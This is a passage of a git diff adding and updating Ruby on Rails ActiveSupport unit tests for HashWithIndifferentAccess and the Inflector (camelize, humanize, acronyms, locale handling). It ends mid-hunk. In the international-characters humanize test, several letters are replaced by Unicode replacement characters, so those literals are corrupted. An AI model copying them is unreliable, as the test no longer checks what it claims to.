+
+    hash = ActiveSupport::HashWithIndifferentAccess.new(@strings).transform_keys { |k| k.to_sym }
+
+    assert_equal(1, hash[:a])
+    assert_equal(1, hash["a"])
+    assert_instance_of ActiveSupport::HashWithIndifferentAccess, hash
+
+    hash = ActiveSupport::HashWithIndifferentAccess.new(@strings).transform_keys({ "a" => "x", "y" => "z" })
+
+    assert_nil(hash["a"])
+    assert_equal(1, hash["x"])
+    assert_equal(2, hash["b"])
+    assert_nil(hash["y"])
+    assert_nil(hash["z"])
+    assert_equal(["x", "b"], hash.keys) # asserting that order of keys is unchanged
+    assert_instance_of ActiveSupport::HashWithIndifferentAccess, hash
+
+    hash = ActiveSupport::HashWithIndifferentAccess.new(@strings).transform_keys({ "a" => "A", "q" => "Q" }) { |k| k * 3 }
+
+    assert_nil(hash["a"])
+    assert_equal(1, hash["A"])
+    assert_equal(2, hash["bbb"])
+    assert_nil(hash["q"])
+    assert_nil(hash["Q"])
+    assert_equal(["A", "bbb"], hash.keys) # asserting that order of keys is unchanged
+    assert_instance_of ActiveSupport::HashWithIndifferentAccess, hash
+
+    hash = ActiveSupport::HashWithIndifferentAccess.new(@integers).transform_keys { |k| k + 1 }
+
+    assert_equal([1, 2], hash.keys)
+
+    repeating_strings = { "a" => 1, "aa" => 2, "aaa" => 3 }
+
+    hash = ActiveSupport::HashWithIndifferentAccess.new(repeating_strings).transform_keys { |k| "#{k}a" }
+
+    assert_equal(%w[aa aaa aaaa], hash.keys)
+
+    assert_raise TypeError do
+      hash.transform_keys(nil)
+    end
+
+    hash_with_default = Hash.new(:a)
+    hash = ActiveSupport::HashWithIndifferentAccess.new(hash_with_default).transform_keys(&:to_s)
+    assert_nil hash.default
+    hash = ActiveSupport::HashWithIndifferentAccess.new(hash_with_default).transform_keys { |k| k.to_s }
+    assert_nil hash.default
+
+    hash_with_default_proc = Hash.new { |h, k| h[k] = :b }
+    hash = ActiveSupport::HashWithIndifferentAccess.new(hash_with_default_proc).transform_keys(&:to_s)
+    assert_nil hash.default_proc
+    hash = ActiveSupport::HashWithIndifferentAccess.new(hash_with_default_proc).transform_keys { |k| k.to_s }
+    assert_nil hash.default_proc
+  end
+
+  def test_indifferent_deep_transform_keys
+    hash = ActiveSupport::HashWithIndifferentAccess.new(@nested_strings).deep_transform_keys { |k| k * 2 }
+
+    assert_equal({ "aa" => { "bb" => { "cc" => 3 } } }, hash)
+    assert_instance_of ActiveSupport::HashWithIndifferentAccess, hash
+
+    hash = ActiveSupport::HashWithIndifferentAccess.new(@nested_strings).deep_transform_keys { |k| k.to_sym }
+
+    assert_equal(3, hash[:a][:b][:c])
+    assert_equal(3, hash["a"]["b"]["c"])
+    assert_instance_of ActiveSupport::HashWithIndifferentAccess, hash
+  end
+
+  def test_indifferent_transform_keys_bang
+    indifferent_strings = ActiveSupport::HashWithIndifferentAccess.new(@strings)
+    indifferent_strings.transform_keys! { |k| k * 2 }
+
+    assert_equal({ "aa" => 1, "bb" => 2 }, indifferent_strings)
+    assert_instance_of ActiveSupport::HashWithIndifferentAccess, indifferent_strings
+
+    indifferent_strings = ActiveSupport::HashWithIndifferentAccess.new(@strings)
+    indifferent_strings.transform_keys! { |k| k.to_sym }
+
+    assert_equal(1, indifferent_strings[:a])
+    assert_equal(1, indifferent_strings["a"])
+    assert_instance_of ActiveSupport::HashWithIndifferentAccess, indifferent_strings
+
+    hash = ActiveSupport::HashWithIndifferentAccess.new(@strings)
+    hash.transform_keys!({ "a" => "x", "y" => "z" })
+
+    assert_nil(hash["a"])
+    assert_equal(1, hash["x"])
+    assert_equal(2, hash["b"])
+    assert_nil(hash["y"])
+    assert_nil(hash["z"])
+    assert_equal(["x", "b"], hash.keys) # asserting that order of keys is unchanged
+    assert_instance_of ActiveSupport::HashWithIndifferentAccess, hash
+
+    hash = ActiveSupport::HashWithIndifferentAccess.new(@strings)
+    hash.transform_keys!({ "a" => "A", "q" => "Q" }) { |k| k * 3 }
+
+    assert_nil(hash["a"])
+    assert_equal(1, hash["A"])
+    assert_equal(2, hash["bbb"])
+    assert_nil(hash["q"])
+    assert_nil(hash["Q"])
+    assert_equal(["A", "bbb"], hash.keys) # asserting that order of keys is unchanged
+    assert_instance_of ActiveSupport::HashWithIndifferentAccess, hash
+
+    assert_raise TypeError do
+      hash.transform_keys(nil)
+    end
+
+    hash_with_default = Hash.new(:a)
+    hash = ActiveSupport::HashWithIndifferentAccess.new(hash_with_default).transform_keys!(&:to_s)
+    assert_equal :a, hash.default
+    assert_equal :a, hash_with_default.default
+
+    hash = ActiveSupport::HashWithIndifferentAccess.new(hash_with_default).transform_keys! { |k| k.to_s }
+    assert_equal :a, hash.default
+    assert_equal :a, hash_with_default.default
+
+    hash_with_default_proc = Hash.new { |h, k| h[k] = :b }
+    default_proc = hash_with_default_proc.default_proc
+
+    hash = ActiveSupport::HashWithIndifferentAccess.new(hash_with_default_proc).transform_keys!(&:to_s)
+    assert_equal default_proc, hash.default_proc
+    hash = ActiveSupport::HashWithIndifferentAccess.new(hash_with_default_proc).transform_keys! { |k| k.to_s }
+    assert_equal default_proc, hash.default_proc
+  end
+
+  def test_indifferent_deep_transform_keys_bang
+    hash = ActiveSupport::HashWithIndifferentAccess.new(@nested_strings)
+    hash.deep_transform_keys! { |k| k * 2 }
+
+    assert_equal({ "aa" => { "bb" => { "cc" => 3 } } }, hash)
+    assert_instance_of ActiveSupport::HashWithIndifferentAccess, hash
+
+    hash = ActiveSupport::HashWithIndifferentAccess.new(@nested_strings)
+    hash.deep_transform_keys! { |k| k.to_sym }
+
+    assert_equal(3, hash[:a][:b][:c])
+    assert_equal(3, hash["a"]["b"]["c"])
+    assert_instance_of ActiveSupport::HashWithIndifferentAccess, hash
+  end
+
+  def test_indifferent_transform_values
+    hash = ActiveSupport::HashWithIndifferentAccess.new(@strings).transform_values { |v| v * 2 }
+
+    assert_equal({ "a" => 2, "b" => 4 }, hash)
+    assert_instance_of ActiveSupport::HashWithIndifferentAccess, hash
+  end
+
+  def test_indifferent_transform_values_bang
+    indifferent_strings = ActiveSupport::HashWithIndifferentAccess.new(@strings)
+    indifferent_strings.transform_values! { |v| v * 2 }
+
+    assert_equal({ "a" => 2, "b" => 4 }, indifferent_strings)
+    assert_instance_of ActiveSupport::HashWithIndifferentAccess, indifferent_strings
+  end
+
+  def test_indifferent_assoc
+    indifferent_strings = ActiveSupport::HashWithIndifferentAccess.new(@strings)
+    key, value = indifferent_strings.assoc(:a)
+
+    assert_equal("a", key)
+    assert_equal(1, value)
+  end
+
+  def test_indifferent_compact
+    hash_contain_nil_value = @strings.merge("z" => nil)
+    hash = ActiveSupport::HashWithIndifferentAccess.new(hash_contain_nil_value)
+    compacted_hash = hash.compact
+
+    assert_equal(@strings, compacted_hash)
+    assert_equal(hash_contain_nil_value, hash)
+    assert_instance_of ActiveSupport::HashWithIndifferentAccess, compacted_hash
+
+    empty_hash = ActiveSupport::HashWithIndifferentAccess.new
+    compacted_hash = empty_hash.compact
+
+    assert_equal compacted_hash, empty_hash
+
+    non_empty_hash = ActiveSupport::HashWithIndifferentAccess.new(foo: :bar)
+    compacted_hash = non_empty_hash.compact
+
+    assert_equal compacted_hash, non_empty_hash
+  end
+
+  def test_indifferent_to_hash
+    # Should convert to a Hash with String keys.
+    assert_equal @strings, @mixed.with_indifferent_access.to_hash
+
+    # Should preserve the default value.
+    mixed_with_default = @mixed.dup
+    mixed_with_default.default = "1234"
+    roundtrip = mixed_with_default.with_indifferent_access.to_hash
+    assert_equal @strings, roundtrip
+    assert_equal "1234", roundtrip.default
+
+    # Should preserve the default proc
+    mixed_with_default = @mixed.dup
+    _proc = ->(h, k) { 1 }
+    mixed_with_default.default_proc = _proc
+    roundtrip = mixed_with_default.with_indifferent_access.to_hash
+    assert_equal _proc, roundtrip.default_proc
+
+    # Ensure nested hashes are not HashWithIndifferentAccess
+    new_to_hash = @nested_mixed.with_indifferent_access.to_hash
+    assert_not new_to_hash.instance_of?(HashWithIndifferentAccess)
+    assert_not new_to_hash["a"].instance_of?(HashWithIndifferentAccess)
+    assert_not new_to_hash["a"]["b"].instance_of?(HashWithIndifferentAccess)
+  end
+
+  def test_lookup_returns_the_same_object_that_is_stored_in_hash_indifferent_access
+    hash = HashWithIndifferentAccess.new { |h, k| h[k] = [] }
+    hash[:a] << 1
+
+    assert_equal [1], hash[:a]
+  end
+
+  def test_with_indifferent_access_has_no_side_effects_on_existing_hash
+    hash = { content: [{ :foo => :bar, "bar" => "baz" }] }
+    hash.with_indifferent_access
+
+    assert_equal [:foo, "bar"], hash[:content].first.keys
+  end
+
+  def test_indifferent_hash_with_array_of_hashes
+    hash = { "urls" => { "url" => [ { "address" => "1" }, { "address" => "2" } ] } }.with_indifferent_access
+    assert_equal "1", hash[:urls][:url].first[:address]
+
+    hash = hash.to_hash
+    assert_not hash.instance_of?(HashWithIndifferentAccess)
+    assert_not hash["urls"].instance_of?(HashWithIndifferentAccess)
+    assert_not hash["urls"]["url"].first.instance_of?(HashWithIndifferentAccess)
+  end
+
+  def test_should_preserve_array_subclass_when_value_is_array
+    array = SubclassingArray.new
+    array << { "address" => "1" }
+    hash = { "urls" => { "url" => array } }.with_indifferent_access
+    assert_equal SubclassingArray, hash[:urls][:url].class
+  end
+
+  def test_should_preserve_array_class_when_hash_value_is_frozen_array
+    array = SubclassingArray.new
+    array << { "address" => "1" }
+    hash = { "urls" => { "url" => array.freeze } }.with_indifferent_access
+    assert_equal SubclassingArray, hash[:urls][:url].class
+  end
+
+  def test_stringify_and_symbolize_keys_on_indifferent_preserves_hash
+    h = HashWithIndifferentAccess.new
+    h[:first] = 1
+    h = h.stringify_keys
+    assert_equal 1, h["first"]
+    h = HashWithIndifferentAccess.new
+    h["first"] = 1
+    h = h.symbolize_keys
+    assert_equal 1, h[:first]
+  end
+
+  def test_deep_stringify_and_deep_symbolize_keys_on_indifferent_preserves_hash
+    h = HashWithIndifferentAccess.new
+    h[:first] = 1
+    h = h.deep_stringify_keys
+    assert_equal 1, h["first"]
+    h = HashWithIndifferentAccess.new
+    h["first"] = 1
+    h = h.deep_symbolize_keys
+    assert_equal 1, h[:first]
+  end
+
+  def test_to_options_on_indifferent_preserves_hash
+    h = HashWithIndifferentAccess.new
+    h["first"] = 1
+    h.to_options!
+    assert_equal 1, h["first"]
+  end
+
+  def test_to_options_on_indifferent_preserves_works_as_hash_with_dup
+    h = HashWithIndifferentAccess.new(a: { b: "b" })
+    dup = h.dup
+
+    dup[:a][:c] = "c"
+    assert_equal "c", h[:a][:c]
+  end
+
+  def test_indifferent_sub_hashes
+    h = { "user" => { "id" => 5 } }.with_indifferent_access
+    ["user", :user].each { |user| [:id, "id"].each { |id| assert_equal 5, h[user][id], "h[#{user.inspect}][#{id.inspect}] should be 5" } }
+
+    h = { user: { id: 5 } }.with_indifferent_access
+    ["user", :user].each { |user| [:id, "id"].each { |id| assert_equal 5, h[user][id], "h[#{user.inspect}][#{id.inspect}] should be 5" } }
+  end
+
+  def test_indifferent_duplication
+    # Should preserve default value
+    h = HashWithIndifferentAccess.new
+    h.default = "1234"
+    assert_equal h.default, h.dup.default
+
+    # Should preserve class for subclasses
+    h = IndifferentHash.new
+    assert_equal h.class, h.dup.class
+  end
+
+  def test_nested_dig_indifferent_access
+    data = { "this" => { "views" => 1234 } }.with_indifferent_access
+    assert_equal 1234, data.dig(:this, :views)
+  end
+
+  def test_argless_default_with_existing_nil_key
+    h = Hash.new(:default).merge(nil => "defined").with_indifferent_access
+
+    assert_equal :default, h.default
+  end
+
+  def test_default_with_argument
+    h = Hash.new { 5 }.merge(1 => 2).with_indifferent_access
+
+    assert_equal 5, h.default(1)
+  end
+
+  def test_default_proc
+    h = ActiveSupport::HashWithIndifferentAccess.new { |hash, key| key }
+
+    assert_nil h.default
+    assert_equal "foo", h.default("foo")
+    assert_equal "foo", h.default(:foo)
+  end
+
+  def test_double_conversion_with_nil_key
+    h = { nil => "defined" }.with_indifferent_access.with_indifferent_access
+
+    assert_nil h[:undefined_key]
+  end
+
+  def test_assorted_keys_not_stringified
+    original = { Object.new => 2, 1 => 2, [] => true }
+    indiff = original.with_indifferent_access
+    assert_not(indiff.keys.any? { |k| k.kind_of? String }, "A key was converted to a string!")
+  end
+
+  def test_deep_merge_on_indifferent_access
+    hash_1 = HashWithIndifferentAccess.new(a: "a", b: "b", c: { c1: "c1", c2: "c2", c3: { d1: "d1" } })
+    hash_2 = HashWithIndifferentAccess.new(a: 1, c: { c1: 2, c3: { d2: "d2" } })
+    hash_3 = { a: 1, c: { c1: 2, c3: { d2: "d2" } } }
+    expected = { "a" => 1, "b" => "b", "c" => { "c1" => 2, "c2" => "c2", "c3" => { "d1" => "d1", "d2" => "d2" } } }
+    assert_equal expected, hash_1.deep_merge(hash_2)
+    assert_equal expected, hash_1.deep_merge(hash_3)
+
+    hash_1.deep_merge!(hash_2)
+    assert_equal expected, hash_1
+  end
+
+  def test_store_on_indifferent_access
+    hash = HashWithIndifferentAccess.new
+    hash.store(:test1, 1)
+    hash.store("test1", 11)
+    hash[:test2] = 2
+    hash["test2"] = 22
+    expected = { "test1" => 11, "test2" => 22 }
+    assert_equal expected, hash
+  end
+
+  def test_constructor_on_indifferent_access
+    hash = HashWithIndifferentAccess[:foo, 1]
+    assert_equal 1, hash[:foo]
+    assert_equal 1, hash["foo"]
+    hash[:foo] = 3
+    assert_equal 3, hash[:foo]
+    assert_equal 3, hash["foo"]
+  end
+
+  def test_indifferent_slice
+    original = { a: "x", b: "y", c: 10 }.with_indifferent_access
+    expected = { a: "x", b: "y" }.with_indifferent_access
+
+    [["a", "b"], [:a, :b]].each do |keys|
+      # Should return a new hash with only the given keys.
+      assert_equal expected, original.slice(*keys), keys.inspect
+      assert_not_equal expected, original
+    end
+  end
+
+  def test_indifferent_slice_inplace
+    original = { a: "x", b: "y", c: 10 }.with_indifferent_access
+    expected = { c: 10 }.with_indifferent_access
+
+    [["a", "b"], [:a, :b]].each do |keys|
+      # Should replace the hash with only the given keys.
+      copy = original.dup
+      assert_equal expected, copy.slice!(*keys)
+    end
+  end
+
+  def test_indifferent_slice_access_with_symbols
+    original = { "login" => "bender", "password" => "shiny", "stuff" => "foo" }
+    original = original.with_indifferent_access
+
+    slice = original.slice(:login, :password)
+
+    assert_equal "bender", slice[:login]
+    assert_equal "bender", slice["login"]
+  end
+
+  def test_indifferent_without
+    original = { a: "x", b: "y", c: 10 }.with_indifferent_access
+    expected = { c: 10 }.with_indifferent_access
+
+    [["a", "b"], [:a, :b]].each do |keys|
+      # Should return a new hash without the given keys.
+      assert_equal expected, original.without(*keys), keys.inspect
+      assert_not_equal expected, original
+    end
+  end
+
+  def test_indifferent_extract
+    original = { :a => 1, "b" => 2, :c => 3, "d" => 4 }.with_indifferent_access
+    expected = { a: 1, b: 2 }.with_indifferent_access
+    remaining = { c: 3, d: 4 }.with_indifferent_access
+
+    [["a", "b"], [:a, :b]].each do |keys|
+      copy = original.dup
+      assert_equal expected, copy.extract!(*keys)
+      assert_equal remaining, copy
+    end
+  end
+
+  def test_new_with_to_hash_conversion
+    hash = HashWithIndifferentAccess.new(HashByConversion.new(a: 1))
+    assert hash.key?("a")
+    assert_equal 1, hash[:a]
+  end
+
+  def test_dup_with_default_proc
+    hash = HashWithIndifferentAccess.new
+    hash.default_proc = proc { |h, v| raise "walrus" }
+    assert_nothing_raised { hash.dup }
+  end
+
+  def test_dup_with_default_proc_sets_proc
+    hash = HashWithIndifferentAccess.new
+    hash.default_proc = proc { |h, k| k + 1 }
+    new_hash = hash.dup
+
+    assert_equal 3, new_hash[2]
+
+    new_hash.default = 2
+    assert_equal 2, new_hash[:non_existent]
+  end
+
+  def test_to_hash_with_raising_default_proc
+    hash = HashWithIndifferentAccess.new
+    hash.default_proc = proc { |h, k| raise "walrus" }
+
+    assert_nothing_raised { hash.to_hash }
+  end
+
+  def test_new_with_to_hash_conversion_copies_default
+    normal_hash = Hash.new(3)
+    normal_hash[:a] = 1
+
+    hash = HashWithIndifferentAccess.new(HashByConversion.new(normal_hash))
+    assert_equal 1, hash[:a]
+    assert_equal 3, hash[:b]
+  end
+
+  def test_new_with_to_hash_conversion_copies_default_proc
+    normal_hash = Hash.new { 1 + 2 }
+    normal_hash[:a] = 1
+
+    hash = HashWithIndifferentAccess.new(HashByConversion.new(normal_hash))
+    assert_equal 1, hash[:a]
+    assert_equal 3, hash[:b]
+  end
+
+  def test_inheriting_from_top_level_hash_with_indifferent_access_preserves_ancestors_chain
+    klass = Class.new(::HashWithIndifferentAccess)
+    assert_equal ActiveSupport::HashWithIndifferentAccess, klass.ancestors[1]
+  end
+
+  def test_inheriting_from_hash_with_indifferent_access_properly_dumps_ivars
+    klass = Class.new(::HashWithIndifferentAccess) do
+      def initialize(*)
+        @foo = "bar"
+        super
+      end
+    end
+
+    yaml_output = klass.new.to_yaml
+
+    assert_includes yaml_output, "hash-with-ivars"
+    assert_includes yaml_output, "@foo: bar"
+  end
+
+  def test_should_use_default_proc_for_unknown_key
+    hash_wia = HashWithIndifferentAccess.new { 1 + 2 }
+    assert_equal 3, hash_wia[:new_key]
+  end
+
+  def test_should_return_nil_if_no_key_is_supplied
+    hash_wia = HashWithIndifferentAccess.new { 1 + 2 }
+    assert_nil hash_wia.default
+  end
+
+  def test_should_use_default_value_for_unknown_key
+    hash_wia = HashWithIndifferentAccess.new(3)
+    assert_equal 3, hash_wia[:new_key]
+  end
+
+  def test_should_use_default_value_if_no_key_is_supplied
+    hash_wia = HashWithIndifferentAccess.new(3)
+    assert_equal 3, hash_wia.default
+  end
+
+  def test_should_nil_if_no_default_value_is_supplied
+    hash_wia = HashWithIndifferentAccess.new
+    assert_nil hash_wia.default
+  end
+
+  def test_should_return_dup_for_with_indifferent_access
+    hash_wia = HashWithIndifferentAccess.new
+    assert_equal hash_wia, hash_wia.with_indifferent_access
+    assert_not_same hash_wia, hash_wia.with_indifferent_access
+  end
+
+  def test_allows_setting_frozen_array_values_with_indifferent_access
+    value = [1, 2, 3].freeze
+    hash = HashWithIndifferentAccess.new
+    hash[:key] = value
+    assert_equal hash[:key], value
+  end
+
+  def test_should_copy_the_default_value_when_converting_to_hash_with_indifferent_access
+    hash = Hash.new(3)
+    hash_wia = hash.with_indifferent_access
+    assert_equal 3, hash_wia.default
+  end
+
+  def test_should_copy_the_default_proc_when_converting_to_hash_with_indifferent_access
+    hash = Hash.new do
+      2 + 1
+    end
+    assert_equal 3, hash[:foo]
+
+    hash_wia = hash.with_indifferent_access
+    assert_equal 3, hash_wia[:foo]
+    assert_equal 3, hash_wia[:bar]
+  end
+
+  def test_should_copy_the_default_when_converting_non_hash_to_hash_with_indifferent_access
+    non_hash = Object.new
+
+    def non_hash.to_hash
+      h = { foo: :bar }
+      h.default = :baz
+      h
+    end
+
+    hash_wia = HashWithIndifferentAccess.new(non_hash)
+    assert_equal :bar, hash_wia[:foo]
+    assert_equal :baz, hash_wia[:missing]
+  end
+
+  def test_should_copy_the_default_proc_when_converting_non_hash_to_hash_with_indifferent_access
+    non_hash = Object.new
+
+    def non_hash.to_hash
+      h = { foo: :bar }
+      h.default_proc = ->(hash, key) { hash[key] = :baz }
+      h
+    end
+
+    hash_wia = HashWithIndifferentAccess.new(non_hash)
+    assert_equal :bar, hash_wia[:foo]
+    assert_equal :baz, hash_wia[:missing]
+  end
+
+  def test_indifferent_to_proc
+    @strings = @strings.with_indifferent_access
+    proc = @strings.to_proc
+
+    assert_equal 1, proc["a"]
+    assert_equal 1, proc[:a]
+    assert_nil proc[:no_such]
+  end
+end
diff --git a/activesupport/test/i18n_test.rb b/activesupport/test/i18n_test.rb
index 7d88d2dc6bc6b..6babd7a28cb60 100644
--- a/activesupport/test/i18n_test.rb
+++ b/activesupport/test/i18n_test.rb
@@ -1,4 +1,6 @@
-require "abstract_unit"
+# frozen_string_literal: true
+
+require_relative "abstract_unit"
 require "active_support/time"
 require "active_support/core_ext/array/conversions"
 
diff --git a/activesupport/test/inflector_test.rb b/activesupport/test/inflector_test.rb
index 03d7b3fe940e1..9954603a58cf3 100644
--- a/activesupport/test/inflector_test.rb
+++ b/activesupport/test/inflector_test.rb
@@ -1,8 +1,10 @@
-require "abstract_unit"
+# frozen_string_literal: true
+
+require_relative "abstract_unit"
 require "active_support/inflector"
 
-require "inflector_test_cases"
-require "constantize_test_cases"
+require_relative "inflector_test_cases"
+require_relative "constantize_test_cases"
 
 class InflectorTest < ActiveSupport::TestCase
   include InflectorTestCases
@@ -14,12 +16,16 @@ def setup
     # This helper is implemented by setting @__instance__ because in some tests
     # there are module functions that access ActiveSupport::Inflector.inflections,
     # so we need to replace the singleton itself.
-    @original_inflections = ActiveSupport::Inflector::Inflections.instance_variable_get(:@__instance__)[:en]
-    ActiveSupport::Inflector::Inflections.instance_variable_set(:@__instance__, en: @original_inflections.dup)
+    @original_inflections = ActiveSupport::Inflector::Inflections.instance_variable_get(:@__instance__)
+    @original_inflection_en = ActiveSupport::Inflector::Inflections.instance_variable_get(:@__en_instance__)
+
+    ActiveSupport::Inflector::Inflections.instance_variable_set(:@__instance__, {})
+    ActiveSupport::Inflector::Inflections.instance_variable_set(:@__en_instance__, @original_inflection_en.dup)
   end
 
   def teardown
-    ActiveSupport::Inflector::Inflections.instance_variable_set(:@__instance__, en: @original_inflections)
+    ActiveSupport::Inflector::Inflections.instance_variable_set(:@__instance__, @original_inflections)
+    ActiveSupport::Inflector::Inflections.instance_variable_set(:@__en_instance__, @original_inflection_en)
   end
 
   def test_pluralize_plurals
@@ -31,6 +37,22 @@ def test_pluralize_empty_string
     assert_equal "", ActiveSupport::Inflector.pluralize("")
   end
 
+  def test_pluralize_with_fallback
+    I18n.stub(:default_locale, :"en-GB") do
+      assert_equal "days", ActiveSupport::Inflector.pluralize("day")
+    end
+  end
+
+  def test_pluralize_with_i18n_fallbacks_to_en
+    original_fallbacks = I18n.fallbacks
+    I18n.fallbacks = I18n::Locale::Fallbacks.new(custom: :en)
+
+    assert_equal "applicants", ActiveSupport::Inflector.pluralize("applicant", :custom)
+    assert_equal "days", ActiveSupport::Inflector.pluralize("day", :custom)
+  ensure
+    I18n.fallbacks = original_fallbacks
+  end
+
   test "uncountability of ascii word" do
     word = "HTTP"
     ActiveSupport::Inflector.inflections do |inflect|
@@ -119,14 +141,52 @@ def test_overwrite_previous_inflectors
     end
   end
 
+  MixtureToTitleCaseWithKeepIdSuffix.each_with_index do |(before, titleized), index|
+    define_method "test_titleize_with_keep_id_suffix_mixture_to_title_case_#{index}" do
+      assert_equal(titleized, ActiveSupport::Inflector.titleize(before, keep_id_suffix: true),
+        "mixture to TitleCase with keep_id_suffix failed for #{before}")
+    end
+  end
+
   def test_camelize
     CamelToUnderscore.each do |camel, underscore|
       assert_equal(camel, ActiveSupport::Inflector.camelize(underscore))
     end
   end
 
-  def test_camelize_with_lower_downcases_the_first_letter
+  def test_camelize_with_true_upcases_the_first_letter
+    assert_equal("Capital", ActiveSupport::Inflector.camelize("Capital", true))
+    assert_equal("Capital", ActiveSupport::Inflector.camelize("capital", true))
+  end
+
+  def test_camelize_with_upper_upcases_the_first_letter
+    assert_equal("Capital", ActiveSupport::Inflector.camelize("Capital", :upper))
+    assert_equal("Capital", ActiveSupport::Inflector.camelize("capital", :upper))
+  end
+
+  def test_camelize_with_false_downcases_the_first_letter
     assert_equal("capital", ActiveSupport::Inflector.camelize("Capital", false))
+    assert_equal("capital", ActiveSupport::Inflector.camelize("capital", false))
+  end
+
+  def test_camelize_with_nil_downcases_the_first_letter
+    assert_equal("capital", ActiveSupport::Inflector.camelize("Capital", nil))
+    assert_equal("capital", ActiveSupport::Inflector.camelize("capital", nil))
+  end
+
+  def test_camelize_with_lower_downcases_the_first_letter
+    assert_equal("capital", ActiveSupport::Inflector.camelize("Capital", :lower))
+    assert_equal("capital", ActiveSupport::Inflector.camelize("capital", :lower))
+  end
+
+  def test_camelize_with_any_other_arg_upcases_the_first_letter
+    assert_equal("Capital", ActiveSupport::Inflector.camelize("capital", :true))
+    assert_equal("Capital", ActiveSupport::Inflector.camelize("Capital", :true))
+
+    assert_equal("Capital", ActiveSupport::Inflector.camelize("capital", :false))
+    assert_equal("Capital", ActiveSupport::Inflector.camelize("capital", :foo))
+    assert_equal("Capital", ActiveSupport::Inflector.camelize("capital", 42))
+    assert_equal("Capital", ActiveSupport::Inflector.camelize("capital"))
   end
 
   def test_camelize_with_underscores
@@ -174,11 +234,21 @@ def test_acronyms
     ].each do |camel, under, human, title|
       assert_equal(camel, ActiveSupport::Inflector.camelize(under))
       assert_equal(camel, ActiveSupport::Inflector.camelize(camel))
+      assert_not_predicate(ActiveSupport::Inflector.camelize(under), :frozen?)
+      assert_not_predicate(ActiveSupport::Inflector.camelize(camel), :frozen?)
+
       assert_equal(under, ActiveSupport::Inflector.underscore(under))
       assert_equal(under, ActiveSupport::Inflector.underscore(camel))
+      assert_not_predicate(ActiveSupport::Inflector.underscore(under), :frozen?)
+      assert_not_predicate(ActiveSupport::Inflector.underscore(camel), :frozen?)
+
       assert_equal(title, ActiveSupport::Inflector.titleize(under))
       assert_equal(title, ActiveSupport::Inflector.titleize(camel))
+      assert_not_predicate(ActiveSupport::Inflector.titleize(under), :frozen?)
+      assert_not_predicate(ActiveSupport::Inflector.titleize(camel), :frozen?)
+
       assert_equal(human, ActiveSupport::Inflector.humanize(under))
+      assert_not_predicate(ActiveSupport::Inflector.humanize(camel), :frozen?)
     end
   end
 
@@ -295,6 +365,12 @@ def test_parameterize_with_multi_character_separator
     end
   end
 
+  def test_parameterize_with_locale
+    word = "Fünf autos"
+    I18n.backend.store_translations(:de, i18n: { transliterate: { rule: { "ü" => "ue" } } })
+    assert_equal("fuenf-autos", ActiveSupport::Inflector.parameterize(word, locale: :de))
+  end
+
   def test_classify
     ClassNameToTableName.each do |class_name, table_name|
       assert_equal(class_name, ActiveSupport::Inflector.classify(table_name))
@@ -318,12 +394,22 @@ def test_humanize
     end
   end
 
+  def test_humanize_nil
+    assert_equal("", ActiveSupport::Inflector.humanize(nil))
+  end
+
   def test_humanize_without_capitalize
     UnderscoreToHumanWithoutCapitalize.each do |underscore, human|
       assert_equal(human, ActiveSupport::Inflector.humanize(underscore, capitalize: false))
     end
   end
 
+  def test_humanize_with_keep_id_suffix
+    UnderscoreToHumanWithKeepIdSuffix.each do |underscore, human|
+      assert_equal(human, ActiveSupport::Inflector.humanize(underscore, keep_id_suffix: true))
+    end
+  end
+
   def test_humanize_by_rule
     ActiveSupport::Inflector.inflections do |inflect|
       inflect.human(/_cnt$/i, '\1_count')
@@ -341,6 +427,24 @@ def test_humanize_by_string
     assert_equal("Col rpted bugs", ActiveSupport::Inflector.humanize("COL_rpted_bugs"))
   end
 
+  def test_humanize_with_acronyms
+    ActiveSupport::Inflector.inflections do |inflect|
+      inflect.acronym "LAX"
+      inflect.acronym "SFO"
+    end
+    assert_equal("LAX roundtrip to SFO", ActiveSupport::Inflector.humanize("LAX ROUNDTRIP TO SFO"))
+    assert_equal("LAX roundtrip to SFO", ActiveSupport::Inflector.humanize("LAX ROUNDTRIP TO SFO", capitalize: false))
+    assert_equal("LAX roundtrip to SFO", ActiveSupport::Inflector.humanize("lax roundtrip to sfo"))
+    assert_equal("LAX roundtrip to SFO", ActiveSupport::Inflector.humanize("lax roundtrip to sfo", capitalize: false))
+    assert_equal("LAX roundtrip to SFO", ActiveSupport::Inflector.humanize("Lax Roundtrip To Sfo"))
+    assert_equal("LAX roundtrip to SFO", ActiveSupport::Inflector.humanize("Lax Roundtrip To Sfo", capitalize: false))
+  end
+
+  def test_humanize_with_international_characters
+    assert_equal("�éíóú", ActiveSupport::Inflector.humanize("áÉ�ÓÚ"))
+    assert_equal("�бвгде", ActiveSupport::Inflector.humanize("аБВГДЕ"))
+  end
+
   def test_constantize
     run_constantize_tests_on do |string|
       ActiveSupport::Inflector.constantize(string)
@@ -398,6 +502,18 @@ def test_clear_#{inflection_type}
     RUBY
   end
 
+  def test_clear_acronyms_resets_to_reusable_state
+    ActiveSupport::Inflector.inflections.clear(:acronyms)
+
+    assert_empty ActiveSupport::Inflector.inflections.acronyms
+
+    ActiveSupport::Inflector.inflections do |inflect|
+      inflect.acronym "HTML"
+    end
+
+    assert_equal "HTML", "html".titleize
+  end
+
   def test_inflector_locality
     ActiveSupport::Inflector.inflections(:es) do |inflect|
       inflect.plural(/$/, "s")
@@ -407,6 +523,8 @@ def test_inflector_locality
       inflect.singular(/es$/, "")
 
       inflect.irregular("el", "los")
+
+      inflect.uncountable("agua")
     end
 
     assert_equal("hijos", "hijo".pluralize(:es))
@@ -419,12 +537,17 @@ def test_inflector_locality
     assert_equal("los", "el".pluralize(:es))
     assert_equal("els", "el".pluralize)
 
+    assert_equal("agua", "agua".pluralize(:es))
+    assert_equal("aguas", "agua".pluralize)
+
     ActiveSupport::Inflector.inflections(:es) { |inflect| inflect.clear }
 
-    assert ActiveSupport::Inflector.inflections(:es).plurals.empty?
-    assert ActiveSupport::Inflector.inflections(:es).singulars.empty?
-    assert !ActiveSupport::Inflector.inflections.plurals.empty?
-    assert !ActiveSupport::Inflector.inflections.singulars.empty?
+    assert_empty ActiveSupport::Inflector.inflections(:es).plurals
+    assert_empty ActiveSupport::Inflector.inflections(:es).singulars
+    assert_empty ActiveSupport::Inflector.inflections(:es).uncountables
+    assert_not_empty ActiveSupport::Inflector.inflections.plurals
+    assert_not_empty ActiveSupport::Inflector.inflections.singulars
+    assert_not_empty ActiveSupport::Inflector.inflections.uncountables
   end
 
   def test_clear_all
@@ -434,13 +557,15 @@ def test_clear_all
       inflect.singular(/(database)s$/i, '\1')
       inflect.uncountable("series")
       inflect.human("col_rpted_bugs", "Reported bugs")
